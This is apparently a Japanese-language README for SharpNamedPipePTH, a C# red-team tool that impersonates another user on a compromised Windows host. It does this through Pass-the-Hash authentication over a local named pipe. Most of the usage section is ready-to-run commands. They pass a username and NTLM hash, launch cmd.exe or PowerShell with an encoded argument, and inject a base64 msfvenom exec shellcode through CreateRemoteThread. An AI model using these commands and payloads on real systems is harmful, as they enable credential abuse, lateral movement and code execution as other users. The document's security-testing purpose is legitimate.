
Pass the Hash を named pipe に渡し、token Impersonation を行う
このプロジェクトは、ローカル名前付きパイプ上でPass-the-Hash認証を使用してユーザーを偽装するためのC#ツールです。使用するにはローカル管理者権限またはSEImpersonate権限が必要です。説明用のブログ記事があります:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
このツールは、Sharp-SMBExec プロジェクトのコードを基にしています。
私はこれまで、攻撃的セキュリティプロジェクトの特定の状況に直面したことがあります。既に低権限ユーザーアカウントのNTLMハッシュを持っており、現在侵害したシステム上でそのユーザーのシェルが必要でした。しかし、現在の公開ツールではそれが不可能でした。そのような状況でさらに2つの事実を想像してみてください。NTLMハッシュが解読できず、かつ被害者ユーザーのプロセスが存在せず、シェルコードを注入したり、そのプロセスに移行したりできないのです。これは一部の人にとっては異常なエッジケースに聞こえるかもしれません。それでも私は何度もそれを経験しました。1つのエンゲージメントだけでなく、特定の状況に適したツールやテクニックを探すのに多くの時間を費やしました。
ツール/テクニックに対する私の個人的な目標は以下の通りでした:
低権限アカウントも偽装できること。エンゲージメントの目標によっては、CEO、HRアカウント、SAP管理者など特定のユーザーでシステムにアクセスする必要がある場合があります。残念ながら、偽装されたユーザーはネットワーク認証が許可されていません。新しいプロセスは制限された偽装トークンを使用しているためです。そのため、このテクニックは別のユーザーでのローカル操作にのみ使用できます。
SharpNamedPipePTHの使用方法は2つあります。バイナリを実行する方法(引数あり/なし):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
または、別のユーザーとしてシェルコードを実行することもできます:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
これは msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0 です。
まだシェルコード実行には満足していません。現在は偽装ユーザーとしてnotepadを起動し、D/Invoke CreateRemoteThread Syscallを使用して新しいプロセスにシェルコードを注入しています。ターゲットユーザーのプロセスがなくてもメモリ割り当て用のプロセスをバックグラウンドで起動したり、シェルコードを実行したりする方法を模索中です。